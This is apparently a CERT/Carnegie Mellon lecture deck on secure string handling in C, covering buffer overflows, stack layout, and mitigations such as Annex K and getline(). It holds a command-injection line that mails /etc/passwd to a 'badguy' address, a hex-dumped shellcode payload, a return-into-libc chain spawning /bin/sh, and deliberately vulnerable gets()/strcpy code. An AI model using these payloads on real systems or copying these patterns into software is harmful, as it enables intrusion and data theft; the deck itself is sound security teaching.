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Strings 
Constitute most of the data exchanged between an end user 
and a software system 

• text input fields 
• command-line arguments 
• environment variables 
• console input 

Software vulnerabilities and exploits are caused by 
weaknesses in 

• string representation 
• string management 
• string manipulation 

The standard C library supports both strings of type char and 
wide strings of type wchar_t. 
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String Data Type 
A string consists of a contiguous sequence of characters terminated by and 
including the first null character.  
A pointer to a string points to its initial character.  
The length of a string is the number of bytes preceding the null character. 
The value of a string is the sequence of the values of the contained 
characters, in order.  
 
 
 
 
Strings are implemented as arrays of characters and are susceptible to the 
same problems as arrays. 
Secure coding practices for arrays should also be applied to null-
terminated character strings (see the Arrays (ARR) chapter of The CERT C 
Secure Coding Standard).  
 
 

h e l l o \0 

length 

https://www.securecoding.cert.org/confluence/x/BwE
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Arrays 
One of the problem with arrays is determining the number of elements: 
 

void func(char s[]) { 

  size_t num_elem = sizeof(s) / sizeof(s[0]);  

} 

int main(void) { 

  char str[] = "Bring on the dancing horses"; 

  size_t num_elem = sizeof(str) / sizeof(str[0]);  

  func(str); 

} 
 

The strlen() function can be used to determine the length of a (properly) 
null-terminated byte string but not the space available in an array. 
See ARR01-C. Do not apply the sizeof operator to a pointer when taking 
the size of an array. 

Number of elements is 28 

Number of elements equals 
the sizeof(char *) 

https://www.securecoding.cert.org/confluence/x/6wE
https://www.securecoding.cert.org/confluence/x/6wE
https://www.securecoding.cert.org/confluence/x/6wE
https://www.securecoding.cert.org/confluence/x/6wE
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String Literals 
A character string literal is a sequence of zero or more 
characters enclosed in double quotes, as in "xyz".  
A wide string literal is the same, except prefixed by the letter 
L, as in L"xyz". 
The type of a string literal is an array of char in C, but it is an 
array of const char in C++.  
Consequently, a string literal is modifiable in C.  

• Modifying such an array is undefined behavior 
• such behavior is prohibited by The CERT C Secure Coding rule 

STR30-C. Do not attempt to modify string literals  

 

https://www.securecoding.cert.org/confluence/x/TQE
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String Literals as Array Initializers 
Array variables are often initialized by a string literal and declared with an 
explicit bound that matches the number of characters in the string literal.  
In the following declaration: 
const char s[3] = "abc"; 
The size of the array s is three, although the size of the string literal is four; 
consequently, the trailing null byte is omitted.  
If you do not specify the bound of the string the compiler will allocate 
sufficient space for the entire string literal, including the terminating null 
character. 
const char s[] = "abc"; 
This approach simplifies maintenance, because the size of the array can 
always be derived even if the size of the string literal changes.  
This issue is further described by The CERT C Secure Coding Standard 
rule STR30-C. Do not attempt to modify string literals. 
 

https://www.securecoding.cert.org/confluence/x/GoEAAQ
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Common String Manipulation Errors 

Programming with null-terminated byte strings, in C 
or C++, is error-prone.  
Common errors include  

• improperly bounded string copies 
• null-termination errors 
• truncation 
• write outside array bounds 
• off-by-one errors 
• improper data sanitization 
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Bounded String Copies  
This program has undefined behavior if more than 8 
characters are entered at the prompt.   
#include <stdio.h> 
#include <stdlib.h> 
 
void get_y_or_n(void) { 
  char response[8]; 
  printf("Continue? [y] n: "); 
  gets(response); 
  if (response[0] == 'n') 
  exit(0); 
  return; 
} 

This example uses only 
interfaces present in 
C99, although the 
gets() function has 
been deprecated in 
C99 and eliminated 
from C11.  

The CERT C Secure Coding Standard Rule 
MSC34-C disallows the use of deprecated or 
obsolescent functions function. 
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The gets() Function 
 

char *gets(char *dest) { 

  int c = getchar(); 

  char *p = dest; 

  while (c != EOF && c != '\n') { 

    *p++ = c; 

    c = getchar(); 

  } 

  *p = '\0'; 

  return dest; 

} 

  
 

The gets() function 
has no way to specify a 
limit on the number of 
characters to read.   
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Simple Solution 
Test the length of the input using strlen() and dynamically 
allocate the memory. 
int main(int argc, char *argv[]) { 

  char *buff = malloc(strlen(argv[1])+1); 

  if (buff != NULL) { 

    strcpy(buff, argv[1]); 

    printf("argv[1] = %s.\n", buff); 

  } 

  else { 

     /* Couldn't get the memory - recover */ 

  } 

  return 0; 

} 
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Copying and Concatenation  

It is easy to make errors when copying and 
concatenating strings because standard functions do 
not know the size of the destination buffer. 
int main(int argc, char *argv[]) { 

  char name[2048]; 

  strcpy(name, argv[1]); 

  strcat(name, " = "); 

  strcat(name, argv[2]); 

  ... 

} 
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Null-Termination Errors 

Another common problem with null-terminated byte 
strings is a failure to properly null terminate.  
 

int main(void) { 
  char a[16]; 
  char b[16]; 
  char c[32]; 
  strncpy(a, "0123456789abcdef", sizeof(a)); 
  strncpy(b, "0123456789abcdef", sizeof(b)); 
  strncpy(c, a, sizeof(c)); 
} 

Neither a[] nor  b[] is 
properly terminated. 
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From ISO/IEC 9899:1999 
The strncpy() function  
 char *strncpy(char * restrict s1, 
  const char * restrict s2, 
  size_t n); 
copies not more than n characters (characters that 
follow a null character are not copied) from the array 
pointed to by s2 to the array pointed to by s1. 
 

Consequently, if there is no null character in the first 
n characters of the array pointed to by s2, the result 
will not be null terminated. 
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String Truncation 

Functions that restrict the number of bytes are often 
recommended to mitigate buffer overflow 
vulnerabilities. 

• strncpy() instead of strcpy() 
• fgets() instead of gets() 
• snprintf() instead of sprintf() 

Strings that exceed the specified limits are truncated. 
Truncation results in a loss of data and in some 
cases leads to software vulnerabilities. 
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Write Outside Array Bounds 
int main(int argc, char *argv[]) { 
  int i = 0; 
  char buff[128]; 
  char *arg1 = argv[1]; 
  while (arg1[i] != '\0' ) { 
    buff[i] = arg1[i];  
    i++; 
  } 
  buff[i] = '\0'; 
  printf("buff = %s\n", buff); 
} 

Because null-
terminated 
byte strings 
are character 
arrays, it is 
possible to 
perform an 
insecure 
string 
operation 
without 
invoking a 
function. 
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Off-by-One Errors 
Can you find all the off-by-one errors in this program? 
int main(void) { 
  int i; 
  char source[10]; 
  strcpy(source, "0123456789"); 
  char *dest = malloc(strlen(source)); 
  for (i=1; i <= 11; i++) { 
    dest[i] = source[i]; 
  } 
  dest[i] = '\0'; 
  printf("dest = %s", dest); 
} 
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Improper Data Sanitization 
An application inputs an email address from a user and passes it as an 
argument to a complex subsystem (e.g., a command shell) [Viega 03]. 
 sprintf(buffer, 
    "/bin/mail %s < /tmp/email", 
    addr 
 ); 
 system(buffer);  
The risk is that the user enters the following string as an email address: 
 bogus@addr.com; cat /etc/passwd  | mail some@badguy.net 

 
This is an example of command injection. 
 
 
[Viega 03] Viega, J., & Messier, M. Secure Programming Cookbook for C and C++: Recipes 
for Cryptography, Authentication, Networking, Input Validation & More. Sebastopol, CA: 
O'Reilly, 2003.  
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Injection 

There are many types of injection: 
• Command injection 
• Format string injection 
• SQL injection 
• XML/Xpath injection 
• Cross-site scripting (XSS) 

Enabled by not properly sanitizing a string that is then 
interpreted by a complex subsystem (such as an 
HTML parser) 
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Black Listing 

Replaces dangerous characters in input strings with 
underscores or other harmless characters  

• requires the programmer to identify all dangerous 
characters and character combinations 

• may be difficult without having a detailed understanding 
of the program, process, library, or component being 
called  

• may be possible to encode or escape dangerous 
characters after successfully bypassing black list 
checking 
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White Listing 

Defines a list of acceptable characters and removes 
any characters that are unacceptable  
The list of valid input values is typically a predictable, 
well-defined set of manageable size.  
White listing can be used to ensure that a string only 
contains characters that are considered safe by the 
programmer. 
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Program Stack 
The stack supports nested 
invocation calls. 

Information pushed on the 
stack as a result of a function 
call is called a frame.  
 

Stack frame 
for main() 

Low memory 

High memory 

Stack frame 
for a() 

Stack frame 
for b() 

Unallocated 

b() {…} 
a() { 
  b(); 
} 
main() { 
  a(); 
} 

A stack frame is 
created for each 
subroutine and 
destroyed upon 
return. 
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Stack Frames 
A program stack is used to keep track of program execution 
and state by storing 

• the return address in the calling function 
• actual arguments to the function  
• local variables of automatic storage duration 

The address of the current frame is stored in a register (for 
example, EBP on Intel architectures).  
The frame pointer is used as a fixed point of reference within 
the stack. 
The stack is modified during 

• function calls 
• function initialization  
• return from a function   
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Notation 

There are two notations for Intel instructions.   
• Microsoft uses the Intel notation (show here).   
• GNU C uses AT&T syntax.   

 

 mov $4, %eax   // AT&T Notation 

 mov eax, 4     // Intel Notation 
 

Both of these instructions move the immediate value 
4 into the EAX register 
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push 4 

Push 1st arg on 
stack 

call function (411A29h)  Push the return 
address on stack 
and jump to 
address 

Function Calls 

function(4, 2); 
push 2 

Push 2nd arg on stack 

void function(int arg1, int arg2);  
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Function Initialization 

void function(int arg1, int arg2) { 

push ebp Saves the frame pointer 

mov ebp, esp Frame pointer for subroutine is 
set to current stack pointer 

sub esp, 44h Allocates space for local 
variables 

ebp: extended base pointer 
esp: extended stack pointer 
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Function Return 

return(); 

mov esp, ebp 

Restores the stack pointer 

pop ebp 
Restores the frame pointer 

ret Pops return address off the stack 
and transfers control to that location 

ebp: extended base pointer 
esp: extended stack pointer 
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Return to Calling Function 

function(4, 2); 

push 2 
push 4 
call function (411230h)  

ebp: extended base pointer 
esp: extended stack pointer 

add  esp,8 
Restores stack 
pointer 
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Sample Program 
bool IsPasswordOK(void) { 
  char Password[12]; // Memory storage for pwd 
  gets(Password);    // Get input from keyboard 
  return 0 == strcmp(Password, "goodpass"); 
} 
 
int main(void) {  
  bool PwStatus;              // Password status 
  puts("Enter Password:");    // Print 
  PwStatus=IsPasswordOK();    // Get and check password 
  if (!PwStatus) { 
    puts("Access denied");    // Print 
    exit(-1);                 // Terminate program 
  } 
  else puts("Access granted");// Print 
} 
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Sample Program Runs 

Run #1 Correct Password 

Run #2 Incorrect Password 
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Stack Before Call to IsPasswordOK() 

Storage for PwStatus (4 bytes) 

Caller EBP – Frame Ptr OS (4 bytes) 

Return Addr of main – OS (4 Bytes) 

… 

int main(void) { 
  bool PwStatus; 
  puts("Enter Password:");  
  PwStatus=IsPasswordOK();  
  if (!PwStatus) { 
     puts("Access denied"); 
     exit(-1); 
  } 
  else  
    puts("Access granted"); 
} 

Stack 
ESP 

Code 

EIP 
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Stack During IsPasswordOK() Call  

Storage for Password (12 Bytes) 

Caller EBP – Frame Ptr main  
(4 bytes) 
Return Addr Caller – main (4 Bytes) 

Storage for PwStatus (4 bytes) 

Caller EBP – Frame Ptr OS  
(4 bytes) 
Return Addr of main – OS (4 Bytes) 

… 

puts("Enter Password:");  
PwStatus=IsPasswordOK(); 
if (!PwStatus) { 
     puts("Access denied"); 
     exit(-1); 
   } 
else puts("Access granted"); 

bool IsPasswordOK(void) { 
 char Password[12];  
 

 gets(Password);     
 return 0 == strcmp(Password, 
   "goodpass"); 
} 

Note: The stack grows and shrinks 
as a result of function calls made 
by IsPasswordOK(void). 

Stack 
ESP 

Code 

EIP 
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Stack After IsPasswordOK() Call  

puts("Enter Password:");  
PwStatus = IsPasswordOk(); 
if (!PwStatus) { 
  puts("Access denied"); 
  exit(-1); 
} 
else puts("Access granted"); 

Stack 

EIP 
Code 

ESP 

Storage for Password (12 Bytes) 

Caller EBP – Frame Ptr main  
(4 bytes) 
Return Addr Caller – main (4 Bytes) 
Storage for PwStatus (4 bytes) 

Caller EBP – Frame Ptr OS (4 bytes) 

Return Addr of main – OS (4 Bytes) 

… 
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What Is a Buffer Overflow? 
A buffer overflow occurs when data is written outside 
of the boundaries of the memory allocated to a 
particular data structure. 
 

Destination 
Memory 

Source 
Memory 

Allocated Memory (12 Bytes) Other Memory 

16 Bytes of Data 

Copy  
Operation 
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Buffer Overflows 

Are caused when buffer boundaries are neglected 
and unchecked   
Can occur in any memory segment 
Can be exploited to modify a  

• variable 
• data pointer 
• function pointer 
• return address on the stack 

 
Smashing the Stack for Fun and Profit (Aleph One, Phrack 49-
14, 1996) provides the classic description of buffer overflows. 
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Smashing the Stack 

Occurs when a buffer overflow overwrites data in the 
memory allocated to the execution stack. 
Successful exploits can overwrite the return address 
on the stack, allowing execution of arbitrary code on 
the targeted machine. 
This is an important class of vulnerability because of 
the 

• occurrence frequency  
• potential consequences 
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The Buffer Overflow 1 

What happens if we input a 
password with more than 11 
characters?  
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The Buffer Overflow 2 

Storage for Password (12 Bytes) 
“123456789012” 

Caller EBP – Frame Ptr main  
(4 bytes) 
“3456” 

Return Addr Caller – main (4 Bytes) 
“7890” 

Storage for PwStatus (4 bytes) 
‘\0’ 

Caller EBP – Frame Ptr OS  
(4 bytes) 

Return Addr of main – OS (4 Bytes) 

… 

bool IsPasswordOK(void) { 
 char Password[12];  
 
 gets(Password);     
 return 0 == strcmp(Password, 
   "goodpass"); 
} 

Stack 

The return address and other data 
on the stack is overwritten because 
the memory space allocated for the 
password can only hold a 
maximum of 11 characters plus the 
null terminator. 

EIP 

ESP 
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The Vulnerability 

A specially crafted string “1234567890123456j►*!” 
produced the following result. 
 
 

What happened? 
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What Happened? 
“1234567890123456j►*!” overwrites 
9 bytes of memory on the stack, 
changing the caller’s return address, 
skipping lines 3-5,  and starting 
execution at line 6. 

Line Statement 
1 puts("Enter Password:"); 

2 PwStatus=ISPasswordOK(); 

3 if (!PwStatus) 

4   puts("Access denied"); 

5   exit(-1);  

6 else  
 puts("Access granted"); 

Storage for Password (12 Bytes) 
“123456789012” 

Caller EBP – Frame Ptr main (4 bytes) 
“3456” 

Return Addr Caller – main (4 Bytes) 
“W►*!” (return to line 6 was line 3) 
Storage for PwStatus (4 bytes) 
‘\0’ 

Caller EBP – Frame Ptr OS (4 bytes) 

Return Addr of main – OS (4 Bytes) 

Stack 

Note: This vulnerability also could have been exploited to execute arbitrary 
code contained in the input string.  
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Question 

Q: What is the difference between code 
and data? 

A: Absolutely nothing. 
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Code Injection 

Attacker creates a malicious argument—a specially 
crafted string that contains a pointer to malicious 
code provided by the attacker. 
When the function returns, control is transferred to 
the malicious code.  

• Injected code runs with the permissions of the vulnerable 
program when the function returns.  

• Programs running with root or other elevated privileges 
are normally targeted. 
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Malicious Argument 

Must be accepted by the vulnerable program as 
legitimate input. 
The argument, along with other controllable inputs, 
must result in execution of the vulnerable code path. 
The argument must not cause the program to 
terminate abnormally before control is passed to the 
malicious code. 
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./vulprog < exploit.bin 

The get password program can be exploited to 
execute arbitrary code by providing the following 
binary data file as input: 

 
000  31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456" 

010  37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +" 

020  31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 

030  F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 

040  31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal " 

 
This exploit is specific to Red Hat Linux 9.0 and 
GCC. 
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Mal Arg Decomposed 1 

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 
010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 
020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 
030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 
040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal " 

 

The first 16 bytes of binary data fill the 
allocated storage space for the password.  

NOTE: The version of the GCC compiler used 
allocates stack data in multiples of 16 bytes. 
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Mal Arg Decomposed 2 

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 
010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 
020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 
030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 
040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal " 

The next 12 bytes of binary data fill the storage allocated by 
the compiler to align the stack on a 16-byte boundary.  
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Mal Arg Decomposed 3 

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 
010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 
020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 
030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 
040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal " 

This value overwrites the return address on the stack to 
reference injected code. 
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Malicious Code 

The object of the malicious argument is to transfer 
control to the malicious code. 

• may be included in the malicious argument (as in this 
example) 

• may be injected elsewhere during a valid input operation 
• can perform any function that can otherwise be 

programmed 
• may simply open a remote shell on the compromised 

machine (as a result, is often referred to as shellcode) 
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Sample Shell Code 
xor %eax,%eax #set eax to zero 
mov %eax,0xbffff9ff #set to NULL word 
mov $0xb,%al #set code for execve 
mov $0xbffffa03,%ebx #ptr to arg 1 
mov $0xbffff9fb,%ecx #ptr to arg 2 
mov 0xbffff9ff,%edx  #ptr to arg 3 
int $80 # make system call to execve 
arg 2 array pointer array 
char * []={0xbffff9ff, "1111"};  
"/usr/bin/cal\0" 
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Null Characters 
The gets() function reads characters from the input stream 
pointed to by stdin until end-of-file is encountered or a new-
line character is read.  
Any new-line character is discarded, and a null character is 
written immediately after the last character read into the array.   
As a result, there might be null characters embedded in the 
string returned by gets() if, for example, input is redirected 
from a file.    
Similarly, data read by the fgets() function may also contain 
null characters.    
This issue is further documented in The CERT C Secure 
Coding Standard rule FIO37-C. Do not assume that fgets() 
returns a nonempty string when successful. 

https://www.securecoding.cert.org/confluence/x/dh
https://www.securecoding.cert.org/confluence/x/dh


56 © 2012 Carnegie Mellon University 

String Agenda 
Strings 
Common errors using NTBS 
Common errors using basic_string  
String Vulnerabilities 

• Buffer overflows 
• Program stacks 
• Code Injection 
• Arc Injection 

Mitigation Strategies 
Summary 



57 © 2012 Carnegie Mellon University 

Arc Injection (return-into-libc)  

Arc injection transfers control to code that already 
exists in the program’s memory space. 

• refers to how exploits insert a new arc (control-flow 
transfer) into the program’s control-flow graph as 
opposed to injecting code 

• can install the address of an existing function (such as 
system() or exec(), which can be used to execute 
programs on the local system 

• allows for even more sophisticated attacks 
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Vulnerable Function 
#include <string.h> 
 
int get_buff(char *user_input, size_t size){ 
  char buff[40]; 
  memcpy(buff, user_input, size); 
  return 0; 
} 
 
int main(void) { 
  /* … */ 
  get_buff(tainted_char_array, tainted_size); 
  /* … */ 
} 
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Exploit 

Overwrites return address with address of existing 
function. 
Creates stack frames to chain function calls. 
Recreates original frame to return to program and 
resume execution without detection. 
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ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

After Overflow 

… 

(leave/ret)address 

Result of memcpy()in get_buff() 

 
 

Before Overflow 

ebp (main) 
return addr(main) 

buff[40] esp 
ebp 

stack frame main 

esp 
ebp 

return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  
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ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

get_buff() Returns 1 

return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

esp 
ebp 

eip eip 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

eip 

get_buff() Returns 2 

esp ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

ebp 
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eip 

return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

get_buff() Returns 3 

esp 

ebp 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 
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ret instruction 
transfers control 
to seteuid() 

get_buff() Returns 4 

esp 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

ebp 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

eip 

seteuid() Returns 1 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

seteuid() return 
transfers control to 
leave/return sequence 

esp 
ebp 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

eip 

seteuid() Returns 2 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

esp ebp 
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ebp 

return 0; 
 
 
 
} 
eip 

mov esp,ebp 
pop ebp 
ret  

seteuid() Returns 3 

esp 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

seteuid() Returns 4 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address esp 

ret() instruction 
transfers control 
to system()  

ebp 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

eip 

system() Returns 1 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 
esp 

system() 
returns control to 
leave/return 
sequence 

ebp 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

eip 

system() Returns 2 

esp 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

ebp 

Original esp  
restored! 
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eip 

return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  

system() Returns 3 

esp 

Original ebp  
restored! 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 
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return 0; 
 
 
 
} 

mov esp,ebp 
pop ebp 
ret  eip 

system() Returns 1 

ebp (frame 2) 
seteuid() address 
(leave/ret)address 

0 
ebp (frame 3) 

system()address 

const *char 
"/bin/sh" 

return addr(main) 
ebp (orig) 

buff[40] 

Frame 1 

Frame 2 

Original 
Frame 

… 

(leave/ret)address 

ret instruction 
returns control 
to  main() 
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Why is This Interesting? 

An attacker can chain together multiple functions with 
arguments. 
Exploit consists entirely of existing code 

• No code is injected. 
• Memory based protection schemes cannot prevent arc 

injection. 
• Larger overflows are not required. 
• The original frame can be restored to prevent detection. 
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String Agenda 

Strings 
Common errors using NTBS 
Common errors using basic_string  
String Vulnerabilities 
Mitigation Strategies 
Summary 
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Mitigation Strategies 
Include strategies designed to  

• prevent buffer overflows from occurring  
• detect buffer overflows and securely recover without allowing the 

failure to be exploited 

Rather than completely relying on a given mitigation strategy, 
it is often advantageous to follow a defense-in-depth tactic that 
combines multiple strategies.  
A common approach is to consistently apply a secure 
technique to string handling (a prevention strategy) and back it 
up with one or more runtime detection and recovery schemes. 



76 © 2012 Carnegie Mellon University 

String Handling 

The CERT C Secure Coding Standard rule STR01-C. 
Adopt and implement a consistent plan for managing 
strings recommends selecting a single approach to 
handling character strings and applying it consistently 
across a project.  
Otherwise, the decision is left to individual 
programmers who are likely to make different, 
inconsistent choices.  
 

https://www.securecoding.cert.org/confluence/display/seccode/STR01-C.+Adopt+and+implement+a+consistent+plan+for+managing+strings
https://www.securecoding.cert.org/confluence/display/seccode/STR01-C.+Adopt+and+implement+a+consistent+plan+for+managing+strings
https://www.securecoding.cert.org/confluence/display/seccode/STR01-C.+Adopt+and+implement+a+consistent+plan+for+managing+strings
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Memory Management Models 
String handling functions can be categorized based on how 
they manage memory.  
There are three basic models: 

• Caller allocates and frees  
— Available in C99, OpenBSD, C11 Annex K 
— makes it clearer when memory needs to be freed, and is more likely to 

prevent leaks 

• Callee allocates, caller frees  
— Available in ISO/IEC TR 24731-2 
— make sure there is enough memory available (except when a call to 
malloc() fails). 

• Callee allocates and frees  
— Implemented by C++ std::basic_string 
— most secure of the three solutions but is only available in C++. 
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Caller Allocates, Caller Frees 

Caller allocates, caller frees is implemented by  
• the C99 string handling functions defined in 
<string.h>  

•  the OpenBSD functions strlcpy() and strlcat() 
• the C11 Annex K bounds-checking interfaces.  

Memory can be statically or dynamically allocated 
prior to invoking these functions, making this model 
optimally efficient.  
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Bounds-checking Interfaces 
The bounds-checking interfaces are alternative library 
functions that promote safer, more secure programming.  
For example, C11 Annex K defines the strcpy_s(), 
strcat_s(), strncpy_s(), and strncat_s() functions 
as replacements for strcpy(), strcat(), strncpy(), and 
strncat() 

The alternative functions verify that output buffers are large 
enough for the intended result and return a failure indicator if 
they are not.  
Data is never written past the end of an array.  
All string results are null terminated. 
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History 
The C11 Annex K functions were created by Microsoft to help 
retrofit its existing, legacy code base in response to numerous, 
well-publicized security incidents over the past decade.  
These functions were subsequently proposed to the ISO/IEC 
JTC1/SC22/WG14 for standardization.  
These functions were published as ISO/IEC TR 24731-1 and 
then later incorporated in C11 in the form of a set of optional 
extensions specified in a normative annex  (Annex K). 

http://www.iso.ch/
http://www.iec.ch/
http://www.iso.ch/meme/JTC1.html
http://www.open-std.org/JTC1/SC22/
http://www.open-std.org/jtc1/sc22/WG14/
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Reading from stdin using gets_s() 
#define __STDC_WANT_LIB_EXT1__ 1 

#include <stdio.h> 

#include <stdlib.h> 

  

void get_y_or_n(void) { 

  char response[8]; 

  size_t len = sizeof(response); 

  printf("Continue? [y] n: "); 

  gets_s(response, len); 

  if (response[0] == ’n’) 

    exit(0); 

} 

  
 

This program is similar to 
the gets() example, 
except that the array 
bounds are checked.  

There is implementation 
defined behavior (typically 
abort) if 8 characters or more 
are input. 



82 © 2012 Carnegie Mellon University 

Runtime-constraints 
Most bounds-checked functions, upon detecting an error such as invalid 
arguments or not enough room in an output buffer, call a special runtime-
constraint handler function.  
This function might print an error message and/or abort the program.  
The programmer can control which handler function is called via the 
set_constraint_handler_s() function, and can make the handler 
simply return if desired.  

• If the handler simply returns, the function that invoked the handler indicates a 
failure to its caller using its return value. 

• Programs that install a handler that returns must check the return value of 
each call to any of the bounds checking functions and handle errors 
appropriately.  

The CERT C Secure Coding Standard Recommendation ERR03-C. Use 
runtime-constraint handlers when calling the bounds-checking interfaces  
recommends installing a runtime-constraint handler to eliminate the 
implementation-defined behavior. 

https://www.securecoding.cert.org/confluence/x/5wD3
https://www.securecoding.cert.org/confluence/x/5wD3
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Reading from stdin using gets_s() 
The previous example can be improved to remove the implementation 
defined behavior at the cost of some additional complexity: 
int main(void) { 

  constraint_handler_t oconstraint =  

    set_constraint_handler_s(ignore_handler_s); 

  get_y_or_n(); 

} 

In conformance with ERR00-C. Adopt and implement a consistent and 
comprehensive error-handling policy, the constraint handler is set in 
main() for  a consistent error handling policy throughout the application.   
Library functions may wish to avoid setting a specific constraint handler 
policy because this might conflict with the overall policy enforced by the 
application.  
In this case,  library functions should assume that calls to bound-checked 
functions will return and check the return status accordingly.  
 

 

 

https://www.securecoding.cert.org/confluence/x/DwBl
https://www.securecoding.cert.org/confluence/x/DwBl
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Bounds-checking Interfaces Summary 
Implementations include 

• Non-conforming version available in Microsoft Visual C++ 2005 and 2008. 
• Implemented by the Dinkumware Compleat Library for gcc, EDG, and 

VC++.  
• Also appears in the Open Watcom open source cross compiler. 

Functions are still capable of overflowing a buffer if the maximum length of 
the destination buffer is incorrectly specified. 
The C11 Annex K functions are not “foolproof” 
Because the C11 Annex K functions can often be used as simple 
replacements for the original library functions in legacy code, The CERT C 
Secure Coding Standard rule STR07-C. Use TR 24731 for remediation of 
existing string manipulation code recommends using them for this purpose 
on implementations that implement the Annex. (Such implementations are 
expected to define the __STDC_LIB_EXT1__ macro.) 
 

https://www.securecoding.cert.org/confluence/x/QwY
https://www.securecoding.cert.org/confluence/x/QwY
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Callee Allocates, Caller Frees 

The callee allocates, caller frees memory 
management model is implemented by the dynamic 
allocation functions defined by ISO/IEC TR 24731-2. 
ISO/IEC TR 24731-2 defines replacements for many 
of the standard C99 string handling functions that 
use dynamically allocated memory to ensure that 
buffer overflow does not occur.  
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Reading from stdin using getline() 
#define __STDC_WANT_LIB_EXT2__ 1 
#include <stdio.h> 
#include <stdlib.h> 
 
void get_y_or_n(void) { 
 char *response = NULL; 
 size_t size; 
 
 printf("Continue? [y] n: "); 
 if ((getline(&response, &size, stdin) < 0) || 
     (size && response[0] == ’n’)) { 
   free(response); 
   exit(0); 
 } 
 free(response); 
} 

Declares a pointer and 
not an array. 

The getline() function 
returns a pointer to a 
dynamically allocated buffer 
and the allocated size.   Caller must free() memory 
